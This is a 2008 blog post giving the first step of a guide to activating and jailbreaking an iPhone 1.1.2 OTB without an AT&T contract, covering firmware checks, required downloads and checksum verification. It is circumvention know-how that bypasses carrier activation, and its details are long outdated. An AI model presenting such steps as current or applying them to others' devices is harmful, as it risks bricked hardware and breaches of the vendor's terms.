The initial preparation step (STEP 1) in order to get a free and usable iPhone 1.1.2 OTB (Out of The Box) requires to obtain all the software needed to activate and jailbreak the iPhone. This guide is based on the following components and versions:
  • Computer OS: Windows XP SP2
  • iTunes v7.5.0.20
  • iPhone firmware version 1.1.2 OTB - Serial number: XXX47... (bootloader v4.6)
  • iPhone modem firmware version: 04.02.13_G (aka baseband)
The iPhone firmware version can be easily determined by looking at the default, unactivated, iPhone screen. If it shows a globe (left image), it is version 1.1.1 or lower; if it shows a music CD and cable (right image), it is version 1.1.2.

Images obtained from www.hackthatphone.com.

How to check the iPhone modem firmware version:
1- Turn on your iPhone.
2- The default screen shows the "slide for emergency" button at the bottom.
3- Slide and you will get the "Emergency Call" screen plus the phone keypad.
4- Type the *3001#12345#* number and press the "Call" button.
5- You will get the "Field Test" window.
6- Select the "Versions" menu option.
7- You will get information about your firmware (find the typo :)), such as:
Firware version: 04.02.13_G
LCD Panel ID: ...
This output corresponds to version 1.1.2. The previous iPhone version, 1.1.1, shows 04.01.13_G (01 instead of 02) as the modem firmware version. A complete list of iPhone versions and the corresponding modem firmware versions is available here.

Once the details of the required elements have been verified, you need to download three files:
After downloading these files, verify their integrity using any MD5 tool, like md5deep:
C:\>md5deep iPhone1,1_1.1.1_3A109a_Restore.ipsw
d6508e86d588a76547b9cae52d38e325 C:\iPhone1,1_1.1.1_3A109a_Restore.ipsw
C:\>md5deep ibrickr_v0.91.zip
cff8165f71f74af3f5ad75250fd21d31 C:\ibrickr_v0.91.zip
C:\>md5deep 1.1.2-jailbreak.zip
eaef139f3a14ee9aabc7dc445741ca31 C:\1.1.2-jailbreak.zip
At this point, you are ready to jump to STEP 2 and downgrade the iPhone's firmware version from 1.1.2 to 1.1.1.

Labels:

Activating/Jailbreaking/Unlocking the iPhone 1.1.2 OTB - State-of-the-Art

Disclaimer: Use of any information available on this and future related posts is at your own risk, you are 100% responsible for what you do or don't do with it, including any Apple's copyright violation or infringement. For an applicable detailed disclaimer about iPhone hacking, please check this! All the information published in this series of posts has been provided by my friend Esteban J., also known as Steve J.

This series of posts is about how to activate the iPhone version 1.1.2 OTB (Out of The Box) without requiring a 2-year AT&T service agreement. It also provides an update of the current iPhone hacking scene on January 1st, 2008, plus a detailed step-by-step guide to complete the iPhone activation and jailbreak process.

My friend Esteban got an iPhone recently, and because he lives outside the US, he cannot (or don't want to) use the associated AT&T service and rate plans. By default, if you do not activate an AT&T account, the iPhone is just a brick, or iBrick :) The first step required after unpacking the device is to connect it to your laptop, and follow the Apple/AT&T iPhone activation process using iTunes. If you do not provide your contact details (including credit card info), and get (or migrate to) an AT&T contract, you cannot activate the iPhone and access any of its functionality.

The iPhone is a pretty impressive small device running OS X. Basically, it's like an iPod Touch (iPod + WiFi) with GSM/EDGE + Bluetooth 2.0 capabilities, plus a 2.0 megapixels camera; an all-in-one device, where the main drawbacks are the lack of a built-in GPS and 3G support (a very common technology in mobile networks all over Europe). Apart from the technical specs, the main differentiator is the user interface (the "Touch":) ).

This and future related posts try to provide a simplified guide to hack the last version of the iPhone, and try to summarize and clarify the huge amount of information available out there related with the topic, specially given the differences between the various iPhone versions, mainly 1.0.2, 1.1.1 & 1.1.2. It's not cutting-edge information, as there are tons of iPhone hacking resources, such as the Hackint0sh Forums, iPhone unlock, hackthatphone, iphone-hacks, modmyifone or winandmac.com. It just pretends to be an easy to follow guide, informative update, all seasoned with some home-made technical security research. What makes iPhone hacking pretty interesting, is that the main hack is just based on executing code inside the device after exploiting a well-known vulnerability in one of its components, the Safari web browser.

My friend's end goal is to be able to activate a US iPhone in Europe, including all its capabilities. At the end of December, this is the iPhone hacking state-of-the-art:
  • The current and latest iPhone version (factory, or OTB) is 1.1.2.
  • The associated modem firmware version is 04.02.13_G.
  • If the device serial number starts with XX745... or above, it means it has been released on week 45 or above, and the bootloader version is 4.6.
This device (commonly referred as 1.1.2 OTB) is the one currently available on stores and presents strong hacking limitations at this point in time. The end-result of this guide will be an unlocked or free iPhone, without phone capabilities, that is, something like an iPod Touch, plus Bluetooth and camera. The reason is that the current bootloader has not been hacked through software yet (although several smart people are actively working on it). The previous bootloader version, 3.9, was hacked and allows you to take advantage of the phone capabilities using a SIM from any telecom mobile operator. Unfortunately, the hack doesn't work yet with the 4.6 bootloader.

At this point, the only option to get a fully working 1.1.2 OTB iPhone is to follow this (or a similar) guide, plus getting a hardware-based hacking SIM, such as TurboSIM (around $40). Although there are (or were) multiple iPhone activation methods without an AT&T account, the one presented in this guide (or series of posts) is the easier one and it works with the current iPhone version.

Before starting with the detailed process, let's clarify a few terms:
  • Downgrade is the process that involves going from a major firmware version to a minor version, such as from the current default 1.1.2 version to 1.1.1. Upgrade is just the opposite.
  • Activation is the process required to enable the iPhone, in this guide, bypassing the standard AT&T activation to get access to (almost) all the functions in the iPhone.
  • Jailbreak is the process that provides you the ability to install third party applications on the iPhone.
  • Unlock is typically used to refer to the process required to unlock or free the iPhone's SIM module, so that the iPhone can be used with any SIM card (instead of the AT&T default SIM).
At this point, you are ready to jump to the first step of the step-by-step guide to activate and jailbreak an iPhone's 1.1.2 OTB.

On a personal note, and not being a lawyer, Apple is clearly fighting hard to keep its exclusiveness and prestige, although I think that once you pay for the device in an Apple Store, the device belongs to you, that is, you're the owner... so, you can play with it!

Some Apple iPhone facts:
  • It seems that about a month ago, Apple limited the number of units that can be acquired in the US per person, from 5 to 2.
  • Esteban couldn't pay the iPhone by cash. He needed to use a credit card so that Apple can track the number of units he buys (see previous bullet).
  • Recently (end of 2007) the iPhone has officially reached some European countries, like UK, Germany or France.
  • Esteban didn't sign up any contract when he bought the iPhone, although he religiously paid its price in an Apple Retail Store.
  • Esteban was not notified during the buying process about all the details of the iPhone and AT&T service agreement, and the constraints not only for the phone capabilities, but for the device as a whole.
  • Esteban was allowed to buy the iPhone although he does not live in the US, as his credit card and passport reflected during the payment process.
  • Finally, iPhone version 1.1.3 is going to be released soon, and as usual, it seems it will affect the current activation, jailbreaking and unlocking hacks.
It seems we do not learn from the past! The best offer is that combining a great product and a brilliant commercial strategy. Demanding customers today ask for flexible, open, customizable, and "hackable" products, and if you do not believe me, ask Microsoft or Linksys/Cisco. In my modest opinion, if Apple wants to attract a population other than Apple's staunch admirers, they should reconsider the iPhone go-to-market strategy. On the other hand, if they want to avoid this type of hacks, they could simply not sell the device without an associated service contract, as it is the case in Europe for several cell phones (unless you pay more for the device).
--
¡Happy New Year 2008 to all our readers!

Labels: